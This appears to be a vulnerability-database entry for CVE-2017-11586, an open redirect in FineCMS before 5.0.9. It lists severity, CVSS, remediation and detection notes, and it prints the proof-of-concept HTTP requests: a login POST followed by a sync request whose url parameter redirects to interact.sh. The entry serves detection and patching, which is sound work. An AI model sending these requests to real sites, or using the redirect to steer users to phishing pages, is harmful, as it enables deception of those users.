🔙 목록으로 돌아가기

CVE-2017-11586: FineCMS <5.0.9 - Open Redirect

TitleFineCMS <5.0.9 - Open Redirect
Author0x_Akoko
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
RemediationUpgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.06568
CVE IDCVE-2017-11586
CWE IDCWE-601
Tags cve cve2017 redirect finecms vuln

🔍 Vulnerability Description

FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /index.php?s=member&c=login&m=index HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Connection: close
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

back=&data%5Busername%5D=v6fZnW&data%5Bpassword%5D=kdJTvG&data%5Bauto%5D=1
GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11586.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-11586.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A